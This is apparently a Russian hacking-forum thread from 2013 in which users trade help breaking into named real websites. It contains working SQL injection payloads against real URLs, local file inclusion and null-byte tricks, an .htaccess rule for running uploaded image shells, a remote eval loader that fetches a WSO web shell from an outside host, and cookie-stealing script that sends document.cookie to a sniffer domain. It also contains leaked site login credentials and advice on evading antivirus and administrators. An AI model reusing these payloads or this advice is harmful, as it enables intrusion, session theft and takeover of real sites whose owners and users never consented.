Тогда получается, что получить данные практически невозможно?

Melfis
17.10.2013, 14:50
Always said:
Тогда получается, что получить данные практически невозможно?


Какие данные?

wkar
18.10.2013, 08:21
wanttoask said:
Можно ли *.php.jpeg как-нибудь переименовать, чтобы отсечь .jpeg?


.php%00.jpeg

Always
18.10.2013, 18:29
Melfis said:
Какие данные?


loginass

http://www.detodezhda.ru/obuv.php?cid=1'&fil=%CC%EE%F1%EA%E2%E0

никак...

-=Cerberus=-
19.10.2013, 00:14
Помогите решить такую ситуацию.

- есть локалинклуд по типу


PHP:


- ядовитый ноль экранируется

Прочитал про усечение пути до MAX_PATH. Пробывал руками, но как-то не вышло, есть ли софт(скрипт) для автоматизации этого процесса???

Заранее спасибо за ответы.

Unknown
19.10.2013, 00:48
Не сталкивался с таким скриптом(хотя написать его несложно).

Поскольку я не знаю что ты читал про MAX_PATH, привожу пост (https://rdot.org/forum/showpost.php?p=6942&postcount=25)где это описано максимально подробно. В частности автор пишет:


tipsy@rdot.org said:
include(
prefix
+ $_GET['payload'] +
suffix
);
Требования к префиксу:
Префикс обязательно должен начинаться с буквы.
В этих случаях суффикс отбросить возможно (переменную контролирует атакующий):

include("any/".$thing . ".txt");

include("$anything" . ".txt");

А в этих - нет.

include("./$anything" . ".txt");

include("../$anything" . ".txt");

include("/var/www/$anything" . ".txt");

...


И еще там требования к версии php

-=Cerberus=-
19.10.2013, 01:00
А ну да все верно спасибо за ответ!

sunic
21.10.2013, 21:49
Ситуация следующая. Имеется сайт на основе Zend Framework (Узнать версию пока не смог). В одном из разделов реализован upload файлов (картинок) без полноценной проверки, то есть закачать можно картинку с любым содержанием и если на создании миниатюры не произошло ошибки, то оригинал переименовывается и виден в папке загрузки, не исполняется. (Обойти это пока не получилось, так как при попытке залить php при обработки закачиваемого файла система сыпется наполовину (ломается дизайн) и закачиваемый файл не сохраняется. Плюс ко всему есть дырявый TyneMCE с XSS уязвимостью

Подскажите возможно ли имея весь этот букет, а может и больше "завладеть" видом на файловую систему

winstrool
21.10.2013, 22:32
sunic said:
Ситуация следующая. Имеется сайт на основе Zend Framework (Узнать версию пока не смог). В одном из разделов реализован upload файлов (картинок) без полноценной проверки, то есть закачать можно картинку с любым содержанием и если на создании миниатюры не произошло ошибки, то оригинал переименовывается и виден в папке загрузки, не исполняется. (Обойти это пока не получилось, так как при попытке залить php при обработки закачиваемого файла система сыпется наполовину (ломается дизайн) и закачиваемый файл не сохраняется. Плюс ко всему есть дырявый TyneMCE с XSS уязвимостью
Подскажите возможно ли имея весь этот букет, а может и больше "завладеть" видом на файловую систему


В теории, если есть уже известный вариант, заливки шелла через админку, к примеру через какой либо момент правки файла, то через xss можно передать данные в форму сохранения файла, но это должен сделать авторизованый админ, на практике, все зависит от случия.

cyborgx
22.10.2013, 21:09
/////

qaz
22.10.2013, 21:12
cyborgx said:
Ребят, как на шелле отредактировать index.php/html?


нажимаешь на index.php и редактируешь

-=Cerberus=-
22.10.2013, 21:44
sunic

то, что сломался дизайн - это еще не признак того, что файл не загрузило. Я бы попробовал залить простую картинку и посмотреть пути к ней, а потом php. Может быть так что в папке куда скрипт сохраняет изображения нет прав на выполнение скриптов тогда поможет загрузка туда же файла .htaccess такого содержания


PHP:
AddType application/x-httpd-php.jpg

AddHandler application/x-httpd-php.jpg

шелл заливается с расширением jpg

cyborgx
22.10.2013, 21:45
/////

qaz
23.10.2013, 11:34
cyborgx said:
Пробую, не радиктируется, потому что прав нет?


ща напрегу свои екстрасенсорные способности и скажу... yfdthyj


cyborgx said:
И есть ли возможность где-то изменить его, чтобы получить права?


порутать сервак


cyborgx said:
И если попадется с правами, то как именно отредактировать и сохранить, по умолчанию редактировать index?


сам пониаешь что спрашиваешь?


cyborgx said:
а как сохранить? Есть какие-то команды или кнопки для етого?


да, там пот кодом который редактируешь есть кнопка save!!!!

неужели так сложно разуть глаза и если что-то непонятно то методом тыка попробовать?

winstrool
23.10.2013, 12:09
cyborgx said:
И есть ли возможность где-то изменить его, чтобы получить права?


Может вам это поможет?!

/showpost.php?p=3382514&postcount=1

xdzolax
23.10.2013, 18:44
посоветуйте куда копать. получил доступ к cmd через microsoft sql. но сервер очень медленный (вывод результата любой команды занимет часы, а если инфы много, то может занять и дни), сервер тормознутый, а бд очень большие.

цель пока что - слить бд.

что приходит в голову:

1. создать файл, и вставить в него код какого-либо шелла. но как узнать диру, куда заливать, чтобы запустить шелл из веба (пробовал для этого найти ошибки в asp, не получилось).

2. пытаться создать пользователя с админ права, открыть нужный порт и коннектиться к серву удаленно.

3. пытаться залить реверс-шелл (meterpreter) и работать с ним.

в каком направлении вы бы посоветовали двигаться? важно, чтобы шанс быть спаленым av или админом был минимальным.

инфа о системе - ASP.NET, Microsoft IIS 7.5, Server 2008.

-=Cerberus=-
24.10.2013, 10:57
xdzolax

ищи админку, заливай asp(лучше на VisualScript написанном) шелл или пробуй через скулю использовать meterpremer, шелл аналогично asp, с путями куда разрешена запись придется экспериментировать(к примеру C:\Windows\Temp)

как то так

Brooklyn111
24.10.2013, 15:10
посоветуйте пожалуйста, ситуация такая, есть проект, в нем найдена уязвимость Remote Code (PHP) Evaluation, http://saveimg.ru/thumbnails/24-10-13/2515a02896c0f1b30bb274a4678d77a6.JPG (http://saveimg.ru/show-image.php?id=c74aee72b69b0dd1110084051ca7fca5) предполагаю, что возможно вместо этого кода внести шелл код, форма ввода на странице http://saveimg.ru/thumbnails/24-10-13/3de74a7647375b7a034562ba7fc6078c.JPG (http://saveimg.ru/show-image.php?id=b229dcddba761941d22474e21194434b)

объясните пожалуйста какой код, как, и куда его можно вставить для внедрения шелла.

заранее благодарен!

BigBear
24.10.2013, 18:29
Brooklyn111 said:
посоветуйте пожалуйста, ситуация такая, есть проект, в нем найдена уязвимость Remote Code (PHP) Evaluation,
http://saveimg.ru/thumbnails/24-10-13/2515a02896c0f1b30bb274a4678d77a6.JPG (http://saveimg.ru/show-image.php?id=c74aee72b69b0dd1110084051ca7fca5)
предполагаю, что возможно вместо этого кода внести шелл код, форма ввода на странице
http://saveimg.ru/thumbnails/24-10-13/3de74a7647375b7a034562ba7fc6078c.JPG (http://saveimg.ru/show-image.php?id=b229dcddba761941d22474e21194434b)
объясните пожалуйста какой код, как, и куда его можно вставить для внедрения шелла.
заранее благодарен!


Мелкие изображения. Залей на ФО и дай ссылку.

Brooklyn111
24.10.2013, 19:04
BigBear said:
Мелкие изображения. Залей на ФО и дай ссылку.


http://www.sendspace.com/filegroup/W5fLL1KrrODv2bgPBU44mg

djhovo09
24.10.2013, 21:53
здравствуйте , я хочу украсть куки через йфраме ,но не получается потому что кукиси на втором домене

[/QUOTE]

img.src="http://snifer.ejan.ru/img.php?"+document.cookie;




помогите разобраться

noviks
24.10.2013, 22:03
всем привет,у меня вот такой вопрос есть сайт site.ru/account?mode=data:;base64,PD9waHAgZXZhbCgkX0dFVFtj bWRdKTsgPz4==&cmd=phpinfo();

как я понял есть локальный инклуд ,но вот как дальше ./../../ так не пролазиет ,если кодировать в base64 ,то просто вверу сайта выводится ./../../ сколько бы не вводил

noviks
24.10.2013, 22:12
Или даже так http://go.jetswap.com/account?mode=data:;base64,PD9waHAgcGhwaW5mbygpPz4= только нужна авторизация на сайте

вот логин пароль

japan68 261268

djhovo09
24.10.2013, 22:19
здравствуйте , я хочу украсть куки через йфраме ,но не получается потому что кукиси на втором домене

[/QUOTE]

img.src="http://snifer.ejan.ru/img.php?"+document.cookie;


помогите разобраться

qaz
24.10.2013, 22:32
noviks said:
Или даже так http://go.jetswap.com/account?mode=data:;base64,PD9waHAgcGhwaW5mbygpPz4= только нужна авторизация на сайте
вот логин пароль
japan68 261268


ахренеть)) спс чувак за шелл на таком офигенном проекте)) где ты эту ссыль взял? скажи честно))

noviks
24.10.2013, 22:34
qaz said:
ахренеть)) спс чувак за шелл на таком офигенном проекте)) где ты эту ссыль взял? скажи честно))



Я его уже ломал пару раз только через SQl ну вот с инклуде я не дружу

winstrool
24.10.2013, 22:50
noviks said:
Я его уже ломал пару раз только через SQl ну вот с инклуде я не дружу


Подарил людям счастье 58к трафа и тиц 250 PR3, + реверс в добавок, теперь начинается шоу программ "Остаться в живых"

noviks
24.10.2013, 23:00
не жалко ,только на вопрос мне так и не ответили ,некогда однако

winstrool
24.10.2013, 23:06
djhovo09 said:
здравствуйте , я хочу украсть куки через йфраме ,но не получается потому что кукиси на втором домене

img.src="http://snifer.ejan.ru/img.php?"+document.cookie;

помогите разобраться


скрипт должен встовляться в тело ломаемой страници, а не там куда ссылается фреем, если можешь вставить фреем в тело страници, значит сможешь вставить и скрипт.

djhovo09
24.10.2013, 23:55
я хочу взломать странички одноклассники.ру и там ставить мой сципт не получится ))) я могу так собирать куки из одноклассники.ру и хочу это отправить в сниффер

!function (d, id, did, st) {

var js = d.createElement("script");

js.src = "http://snifer.ejan.ru/connect.js";

js.onload = js.onreadystatechange = function () {

if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") {

if (!this.executed) {

this.executed = true;

setTimeout(function () {

OK.CONNECT.insertGroupWidget(id,did,st);

}, 0);

}

}}

d.documentElement.appendChild(js);

}(document,"ok_group_widget","52864984219766","{width:250,height:335}");

er9j6@
25.10.2013, 22:49
Нашел скуль в User-Agent, запросы через GET обрубаются

Forbidden

You don't have permission to access on this server.

поделитесь скриптом на php, для передачи User-Agent в Post-запросе. Сам написать не могу, знаний маловато

er9j6@
25.10.2013, 23:13
OxoTnik said:
Firefox расширения на выбор
1) Tamper Data
2) Hack Bar
3) Live HTTP Headers
Ты это имел ввиду?



нужен скрипт на php, в этих прогах скулю в User-Agent постом не получается передать

Unknown
25.10.2013, 23:23
er9j6@ said:
нужен скрипт на php, в этих прогах скулю в User-Agent постом не получется передать


User-Agent - это не пост, это заголовок. Он передаётся и при GET и при POST запросах.


поделитесь скриптом на php, для передачи User-Agent в Post-запросе.




PHP:




ПС Но похоже тебе это не поможет

er9j6@
25.10.2013, 23:39
Ganz Euler said:
User-Agent - это не пост, это заголовок. Он передаётся и при GET и при POST запросах.

PHP:




(


как сюда уязвимый запрос правильно вставить?

Unknown
26.10.2013, 00:07
er9j6@ said:
как сюда уязвимый запрос правильно вставить?



Верно. Я пропустил одну строчку в оригинале =(


PHP:


Попробуй так

er9j6@
26.10.2013, 00:24
Ganz Euler said:
[/PHP]
Попробуй так


Скрипт работает правильно, но версию не выводит, хотя при GET запросе вывод есть Duplicate column name '5.1.68-log' , дальше продвинутся не удается , все фильтруется. Выводить таблицы нужно через POST-запрос

Unknown
26.10.2013, 00:39
Я видимо не совсем понимаю о чём речь. Этот скрипт как раз делает то что ты попросил, POST запрос с возможностью редактировать User-Agent.

Если тебе нужно отправить какие-то параметры POST'ом то





Если это всё не то, то приведи пример запроса.

er9j6@
26.10.2013, 00:43
Ganz Euler said:
Я видимо не совсем понимаю о чём речь. Этот скрипт как раз делает то что ты попросил, POST запрос с возможностью редактировать User-Agent.
Если тебе нужно отправить какие-то параметры POST'ом то
Если это всё не то, то приведи пример запроса.


Выкладываю

GET http://www.guppik.ru/components/com_true/sub_votepic.php?id=1&user_rating=1 HTTP/1.1

Host: www.guppik.ru

User-Agent: 'and(select*from(select(name_const(version(),1)),n ame_const(version(),1))a)and'

теперь нужно это переделать под POST-запрос, для вывода таблиц

Unknown
26.10.2013, 01:15
er9j6@ said:
Выкладываю
GET http://www.guppik.ru/components/com_true/sub_votepic.php?id=1&user_rating=1 HTTP/1.1
Host: www.guppik.ru
User-Agent: 'and(select*from(select(name_const(version(),1)),n ame_const(version(),1))a)and'
теперь нужно это переделать под POST-запрос, для вывода таблиц


Ок, теперь всё ясно. Ещё раз повторю что User-Agent это заголовок, POST/GET на него не влияют. В данном случае WAF/IPS/... режет запросы в которых есть совпадение '*informa*'. Я минут десять потыкался, но рабочего варианта послать information_schema в User-Agent не нашёл.

noviks
26.10.2013, 10:57
И снова вопрос по site/account?mode==data:;base64, с этим я разобрался,могу просматривать любые файлы и папки кроме файлов *.php ,как открыть php

Unknown
26.10.2013, 11:53
noviks said:
И снова вопрос по site/account?mode==data:;base64, с этим я разобрался,могу просматривать любые файлы и папки кроме файлов *.php ,как открыть php


site/account?mode==data:;base64,

PS Только сейчас понял, путь-то надо указывать не с веба, а локальный. По типу:

site/account?mode==data:;base64,

noviks
26.10.2013, 12:10
работает что так

что так

но файлы php не xочет показать

Unknown
26.10.2013, 12:17
noviks said:
работает что так
что так
но файлы php не xочет показать


Что значит не хочет? Что пишет?

noviks
26.10.2013, 12:23
Ganz Euler said:
Что значит не хочет? Что пишет?


ничего не пишет просто страница до конца не открывается и пусто

Unknown
26.10.2013, 12:26
noviks said:
ничего не пишет просто страница до конца не открывается и пусто


Ок, моя последняя догадка: возможно файлы читаются, но просто не отображаются в браузере. Попробуй посмотреть HTML код страницы(ctrl+f '

noviks
26.10.2013, 12:32
[QUOTE="Ganz Euler"]
Ganz Euler said:
Ок, моя последняя догадка: возможно файлы читаются, но просто не отображаются в браузере. Попробуй посмотреть HTML код страницы(ctrl+f ' я об зтом сразу подумал, HTML код просто обрывается

noviks
26.10.2013, 12:35
открыл /bin/sh но там одни крокозябры

Unknown
26.10.2013, 12:39
Неудивительно, /bin/sh бинарный файл.

Если хочешь скинь сюда или в ЛС ссылку. http://go.jetswap.com/account?mode=data:;base64,PD9waHAgZXZhbCgkX0dFVFtj bWRdKTsgPz4==&cmd=phpinfo%28%29; у меня не работает, пишет down.

noviks
26.10.2013, 12:46
Ganz Euler said:
Неудивительно, /bin/sh бинарный файл.
Если хочешь скинь сюда или в ЛС ссылку. http://go.jetswap.com/account?mode=data:;base64,PD9waHAgZXZhbCgkX0dFVFtj bWRdKTsgPz4==&cmd=phpinfo%28%29; у меня не работает, пишет down.


она уже и не работает ,вчера зря спалил

qaz
26.10.2013, 14:03
noviks said:
она уже и не работает ,вчера зря спалил


ну раз дыру закрыли, разсказую, вобще не понимаю чё вы так долго там думали,


http://go.jetswap.com/account?mode=data:;base64,PD9waHAgZXZhbCgkX0dFVFtj bWRdKTsgPz4==&cmd=phpinfo%28%29;


этот кусок тут вобще не нужен был &cmd=phpinfo%28%29;

также как и PD9waHAgZXZhbCgkX0dFVFtj bWRdKTsgPz4==( в басе64 зашифрован код )

банально заливаете на другой серв код шелла, потом пишете код $a = file_get_contents("http://site.ru/wso.txt"); eval($a);

и усё, видите перед собой ваш шелл, там кругом права урезаны были, одни лишь папка была для записи cache

zombak18
26.10.2013, 14:12
Есть идеи как провести иньекцию если фильтрует все символы кроме \

Executing: select * from user where username='admin\' and password='1'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1alert("invalid password");history.back(-1)

Если вставить куда нибудь сторонние символы напишет nothing to do here)

Есть варианты?

Unknown
26.10.2013, 14:31
zombak18 said:
Есть идеи как провести иньекцию если фильтрует все символы кроме \
Executing: select * from user where username='admin\' and password='1'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1alert("invalid password");history.back(-1)
Если вставить куда нибудь сторонние символы напишет nothing to do here)
Есть варианты?


Ну смотри, ты ввёл логин admin\ и пароль 1. Получается:

select * from user where username='admin\' and password='1'

Выделенное зелёным интерпретируется как строка. Варианты например:

зайти без пароля

select * from user where username='admin\' and password=' or 1=1 -- '

Error-based эксплуатация:

select * from user where username='admin\' and password=' or 1=((select count(*) from (select 1 union select 2 union select 3)x group by concat(version(),floor(rand(0)*2))))-- '

Про "сторонние символы" не понял.

noviks
26.10.2013, 14:41
qaz said:
ну раз дыру закрыли, разсказую, вобще не понимаю чё вы так долго там думали,
этот кусок тут вобще не нужен был &cmd=phpinfo%28%29;
также как и PD9waHAgZXZhbCgkX0dFVFtj bWRdKTsgPz4==( в басе64 зашифрован код )
банально заливаете на другой серв код шелла, потом пишете код $a = file_get_contents("http://site.ru/wso.txt"); eval($a);
и усё, видите перед собой ваш шелл, там кругом права урезаны были, одни лишь папка была для записи cache


с инклудом никогда не сталкивался,а с шеллом тем более,на другом сайте у меня есть шелл

пробывал я так но он не запускается,а просто грузится на страницу и всё если http://site.ru/c99.php то сайт вообщевиснет

qaz
26.10.2013, 14:47
noviks said:
с инклудом никогда не сталкивался,а с шеллом тем более,на другом сайте у меня есть шелл
пробывал я так но он не запускается,а просто грузится на страницу и всё если http://site.ru/c99.php то сайт вообщевиснет



там нет инклуда, то обычное выполнения пхп кода, понятное дело что он не запускается, с какого перепугу ему запустится без eval как в моём примере??

noviks
26.10.2013, 14:55
можно поподробнее на будущее вот этот код $a = file_get_contents("http://site.ru/wso.txt"); eval($a); где писать?

qaz
26.10.2013, 15:11
noviks said:
можно поподробнее на будущее вот этот код $a = file_get_contents("http://site.ru/wso.txt"); eval($a); где писать?


вместо того кода что ты шифровал в басе64

noviks
26.10.2013, 15:20
qaz said:
вместо того кода что ты шифровал в басе64


ни xрена Ошибка выполнения программы Может с99 не катит

qaz
26.10.2013, 15:48
noviks said:
ни xрена Ошибка выполнения программы Может с99 не катит


где ошибка? какой программы?

noviks
26.10.2013, 15:52
qaz said:
где ошибка? какой программы?


сделал так

всё нормально запускается,но когда пытаюсь перейти в каталог, чистая страница и Ошибка выполнения программы

qaz
26.10.2013, 15:58
noviks said:
сделал так

всё нормально запускается,но когда пытаюсь перейти в каталог, чистая страница и Ошибка выполнения программы


так дирку ж уже прикрыли....

djhovo09
27.10.2013, 00:20
я хочу взломать странички одноклассники.ру и там ставить мой сципт не получится ))) я могу так собирать куки из одноклассники.ру и хочу это отправить в сниффер

!function (d, id, did, st) {

var js = d.createElement("script");

js.src = "http://snifer.ejan.ru/connect.js";

js.onload = js.onreadystatechange = function () {

if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") {

if (!this.executed) {

this.executed = true;

setTimeout(function () {

OK.CONNECT.insertGroupWidget(id,did,st);

}, 0);

}

}}

d.documentElement.appendChild(js);

}(document,"ok_group_widget","52864984219766","{width:250,height:335}");

Win32BOT
27.10.2013, 02:10
Незнаю что за двиг.

В поиске пишу

qaz
29.10.2013, 23:30
несилён в ворд прессе, короче нет прав на запись, где в админке можно влепить хтмл код чтобы он на всех страницах отобразился?

Ravenous
30.10.2013, 00:11
qaz said:
несилён в ворд прессе, короче нет прав на запись, где в админке можно влепить хтмл код чтобы он на всех страницах отобразился?


Через ред. шаблонов/тем. Но шаблоны хранятся в файловой системе, поэтому если нет прав на запись,то увы, нигде(если хочешь на всех).

er9j6@
30.10.2013, 00:58
qaz said:
несилён в ворд прессе, короче нет прав на запись, где в админке можно влепить хтмл код чтобы он на всех страницах отобразился?


в плагин шелл запакуй, если есть возможность загрузки на сайт

Br@!ns
31.10.2013, 15:36
Как Havij проводит load_file? через программку /etc/passwd выводит норм, а вручную вывести что то неполучается

YaBtr
31.10.2013, 15:56
Br@!ns said:
Как Havij проводит load_file? через программку /etc/passwd выводит норм, а вручную вывести что то неполучается


Не знаю, как Havij, но, если у тебя mg=on, то load_file('/etc/passwd'), сам понимаешь, не пройдет. Здесь выручает hex: load_file(0x2f6574632f706173737764)

Br@!ns
31.10.2013, 16:13
YaBtr said:
Не знаю, как Havij, но, если у тебя mg=on, то load_file('/etc/passwd'), сам понимаешь, не пройдет. Здесь выручает hex:
load_file(0x2f6574632f706173737764)


При обоих вариантах получаю CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1305 FUNCTION db_name.loаd_file does not exist. до этого что то делал получал пустую страничку. В это же время Havij показывает и показывал все без проблем, вот и интересно, что он делает и как

YaBtr
31.10.2013, 16:22
Br@!ns said:
При обоих вариантах получаю CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1305 FUNCTION db_name.loаd_file does not exist. до этого что то делал получал пустую страничку. В это же время Havij показывает и показывал все без проблем, вот и интересно, что он делает и как


Если выводится пустая страница, смотри source страницы, зачастую там выводится.

Unknowhacker
31.10.2013, 21:39
При единичном параметре пишет Unknown column '1' in 'order clause' http://www.friendlytarget.com/index.php?game=16%27+order+by+1+--+ что делать

qaz
31.10.2013, 22:09
Unknowhacker said:
При единичном параметре пишет Unknown column '1' in 'order clause' http://www.friendlytarget.com/index.php?game=16%27+order+by+1+--+ что делать


а в чём собственно проблема?


http://www.friendlytarget.com/index.php?game=16%27+or+1+group+by+concat%28%28sel ect+version%28%29%29,0x00,floor%28rand%280%29*2%29 %29having+min%280%29+or+1--+

YaBtr
01.11.2013, 14:30
Unknowhacker said:
При единичном параметре пишет Unknown column '1' in 'order clause' http://www.friendlytarget.com/index.php?game=16%27+order+by+1+--+ что делать


Ситуация, когда один и тот же параметр учавствет в нескольких запросах: тыц (https://antichat.live/showpost.php/p/497033/postcount/10/)

Union'ом можно крутить на другом уязвимом параметре:


www.friendlytarget.com/index.php?
type
=Action games'+union+select+1,2,version(),4,5,6,7,8+--+

Br@!ns
05.11.2013, 22:36
http://www.zoovet.ru/forum/gold_fond.php?tid=123&tag=88

Изменяя последнее число получаются разные ошибки, типа

http://www.zoovet.ru/forum/gold_fond.php?tid=123&tag=115

можно попробовать как то покрутить? или вообще в каком направлении идти?

Soliariss
06.11.2013, 00:14
Есть сайт с самописной cms, крутится на php 5.3.15, nginx 1.0.5.

url'ы вида site.com/lang/site/news/id/33/ ,GET-запросы фильтруються...

С какой стороны можно подступиться к аудиту Думаю, для начала просканировать порты nmap. Что подскажут гуру?!

YaBtr
06.11.2013, 10:53
Br@!ns said:
http://www.zoovet.ru/forum/gold_fond.php?tid=123&tag=88
Изменяя последнее число получаются разные ошибки, типа
http://www.zoovet.ru/forum/gold_fond.php?tid=123&tag=115
можно попробовать как то покрутить? или вообще в каком направлении идти?


Ошибки вылезают из-за неправилной кодировки.

Для первого случая, âåêî - веко (CP1252 ---> CP1251). Крутить не получится.

jassoctov
07.11.2013, 11:01
Можно ли это как то раскрутить, и в каком направлении думатью

Движок DLE

Запрос http://******.**/soft/page/99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 9999999999999999999999999999999999999/

http://s6.hostingkartinok.com/uploads/thumbs/2013/11/075f0b4df0efa43a3659a3bafe416d5e.png (http://hostingkartinok.com/show-image.php?id=075f0b4df0efa43a3659a3bafe416d5e)

Br@!ns
07.11.2013, 12:31
выводит


http://www.ab99.ru/services/service10'+union+select+1,2,3,4,version(),6,7,8,9, 10,11,12,13,14+--+




http://www.ab99.ru/services/service10'+union+select+1,2,3,4,version(),6,7,8,9, 10,11,12,13,14+frOm+information_schema+--+


дальше что то неполучается, information_schema почему то тоже нет, разве в 5 Mysql он необязателен? Помогите)

YaBtr
07.11.2013, 13:02
Br@!ns said:
выводит
дальше что то неполучается, information_schema почему то тоже нет, разве в 5 Mysql он необязателен? Помогите)




www.ab99.ru/services/service10'+union select+1,2,3,4,concat_ws(0x3a,user,password),6,7,8 ,9, 10,11,12,13,14 From users+--+


Брут никто не отменял

Unknown
07.11.2013, 13:24
Br@!ns said:
дальше что то неполучается, information_schema почему то тоже нет, разве в 5 Mysql он необязателен? Помогите)


information_schema существует, просто доступа к ней нет у того пользователя от которого делаются запросы.

SunHere
08.11.2013, 22:17
Добрый день, есть локальный инклуд вида""Warning: include(inc/123.php) [function.include]: failed to open stream: No such file or directory in"

когда я в переменную вставляю http://evilsite.ru/wso2.php, то на странице выводится ошибка:"Warning: include(inc/http://evilsite.ru/wso2.php)", вопрос как обрезать добавление префикса "inc/" ?

p.s интересует тема тестирования безопасности сайта, выбрал несколько сайтов в гугле, которые выводят такое сообщения и хочу попробовать добиться использования этой уязвимости для более глубокого понимания.

Unknown
08.11.2013, 22:21
Никак, локальный инклуд и есть локальный инклуд. Пробуй загрузить файл со своим php кодом на сайт и инклудь его.

Inoms
08.11.2013, 23:17
SunHere said:
Добрый день, есть локальный инклуд вида""Warning: include(inc/123.php) [function.include]: failed to open stream: No such file or directory in"
когда я в переменную вставляю http://evilsite.ru/wso2.php, то на странице выводится ошибка:"Warning: include(inc/http://evilsite.ru/wso2.php)", вопрос как обрезать добавление префикса "
inc/
" ?
p.s интересует тема тестирования безопасности сайта, выбрал несколько сайтов в гугле, которые выводят такое сообщения и хочу попробовать добиться использования этой уязвимости для более глубокого понимания.


Его ничем нельзя отрезать ибо он заранее указан как префикс, можно подключить локальный файл, например ../../../../../../etc/passwd (если Unix), почитать логи, выполнить через них код и т.д

SunHere
09.11.2013, 19:48
Inoms said:
Его ничем нельзя отрезать ибо он заранее указан как префикс, можно подключить локальный файл, например ../../../../../../etc/passwd (если Unix), почитать логи, выполнить через них код и т.д


Окей, я начал пробовать подключить этот файл, но выводится следующее сообщение


HTML:
Warning: include(inc/../../../../../../../etc/passwd.php)

Когда же добавляю ../../../../../../etc/passwd%00, то вместо ошибки на сайте выводится стандартная страница, как будто без параметров отправился запрос. Какие тут возможные действия дальше?

winstrool
09.11.2013, 20:03
SunHere said:
Окей, я начал пробовать подключить этот файл, но выводится следующее сообщение

HTML:
Warning: include(inc/../../../../../../../etc/passwd.php)

Когда же добавляю ../../../../../../etc/passwd%00, то вместо ошибки на сайте выводится стандартная страница, как будто без параметров отправился запрос. Какие тут возможные действия дальше?


Просмотри исходный код страници и как вариант еще попробовать ../../../../../../etc/passwd%000 иногда проходит.

Unknowhacker
10.11.2013, 19:09
Нашёл скулю, не могу достать данные с таблицы admin


Code:
http://www.olvia.ru/rus/products.php?s=3%27+union+select+1,2,3,TABLE_NAME, 5,6,7,8,9,10+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+ 50,99+--+

Konqi
10.11.2013, 19:11
Unknowhacker said:
Нашёл скулю, не могу достать данные с таблицы admin

Code:
http://www.olvia.ru/rus/products.php?s=3%27+union+select+1,2,3,TABLE_NAME, 5,6,7,8,9,10+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+ 50,99+--+



таблица admin находится в базе test

chado
10.11.2013, 19:26
Добрый день)

server.com/index.php?id=22' выдает следующее:

DB ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''22'' LIMIT 1' at line 1

SELECT * FROM `Films` WHERE `ID` = '22'' LIMIT 1

Notice: Undefined index: ID in /usr/local/www/server.com/index.php on line 75

При попытке вставить в запрос UNION SELECT подвисает (Код ошибки: ERR_TIMED_OUT), на UNION SELCT:

SELECT * FROM `Films` WHERE `ID` = '22' UNION SELCT' LIMIT 1

Как нибудь можно обойти? И еще фильтрует ##

Expl0ited
10.11.2013, 22:56
chado said:
Добрый день)
server.com/index.php?id=22' выдает следующее:
DB ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''22'' LIMIT 1' at line 1
SELECT * FROM `Films` WHERE `ID` = '22'' LIMIT 1
Notice: Undefined index: ID in /usr/local/www/server.com/index.php on line 75
При попытке вставить в запрос UNION SELECT подвисает (Код ошибки: ERR_TIMED_OUT), на UNION SELCT:
SELECT * FROM `Films` WHERE `ID` = '22' UNION SELCT' LIMIT 1
Как нибудь можно обойти? И еще фильтрует ##


нужно закомментировать остаток запроса --+

chado
11.11.2013, 14:07
Expl0ited said:
нужно закомментировать остаток запроса --+


server.com/index.php?id=-1'+BLA+BLA+BLA+--%20

выдает в коде ошибки:

SELECT * FROM `Films` WHERE `ID` = '-1' AND BLA BLA BLA -- ' LIMIT 1

server.com/index.php?id=-1'+BLA+BLA+BLA+#%20

выдает в коде ошибки:

SELECT * FROM `Films` WHERE `ID` = '-1' AND BLA BLA BLA ' LIMIT 1

Видимо комментирование только через # и этот символ фильтруется.

Что нибудь можно сделать?

YaBtr
11.11.2013, 14:24
chado said:
server.com/index.php?id=-1'+BLA+BLA+BLA+--%20
выдает в коде ошибки:
SELECT * FROM `Films` WHERE `ID` = '-1' AND BLA BLA BLA -- ' LIMIT 1
server.com/index.php?id=-1'+BLA+BLA+BLA+#%20
выдает в коде ошибки:
SELECT * FROM `Films` WHERE `ID` = '-1' AND BLA BLA BLA ' LIMIT 1
Видимо комментирование только через # и этот символ фильтруется.
Что нибудь можно сделать?


Попробуй аналог незакрытого коммментария /* для 5-ой версии mysql:


;%00

Expl0ited
11.11.2013, 14:31
chado said:
server.com/index.php?id=-1'+BLA+BLA+BLA+--%20
выдает в коде ошибки:
SELECT * FROM `Films` WHERE `ID` = '-1' AND BLA BLA BLA -- ' LIMIT 1
server.com/index.php?id=-1'+BLA+BLA+BLA+#%20
выдает в коде ошибки:
SELECT * FROM `Films` WHERE `ID` = '-1' AND BLA BLA BLA ' LIMIT 1
Видимо комментирование только через # и этот символ фильтруется.
Что нибудь можно сделать?


server.com/index.php?id=1'+order+by+100--+1

chado
11.11.2013, 15:19
Expl0ited said:
Попробуй аналог незакрытого коммментария /* для 5-ой версии mysql:


server.com/index.php?id=-1'+OR+`ID`+=+'202

выдает правильную страницу (SELECT * FROM `Films` WHERE `ID` = '-1' OR `ID`='202' LIMIT 1), на нем и тестирую:

server.com/index.php?id=-1'+OR+`ID`+=+'202';%00

показывает правильную страницу (ID = 202) без ошибок. Я так понимаю комментирование работает?


Expl0ited said:
server.com/index.php?id=202'+order+by+100--+1


В чистом виде выдает:

DB ERROR: Unknown column '100' in 'order clause'

SELECT * FROM `Films` WHERE `ID` = '202' order by 100-- 1' LIMIT 1

c order+by+1 до order+by+9

выдает правильную страницу.

Как засунуть туда union select, если при слове select страница отваливается по timeout? Пробовал и в разных регистрах, и со скобками - не работает. Может есть другие запросы для "побаловаться" с базой?

Unknowhacker
11.11.2013, 19:58
http://www.aquaprima.ru/article_show.php?art_id=199+order+by+1+--+ Невозможно подобрать кол-во столбцов.

qaz
11.11.2013, 20:06
Unknowhacker said:
http://www.aquaprima.ru/article_show.php?art_id=199+order+by+1+--+ Невозможно подобрать кол-во столбцов.


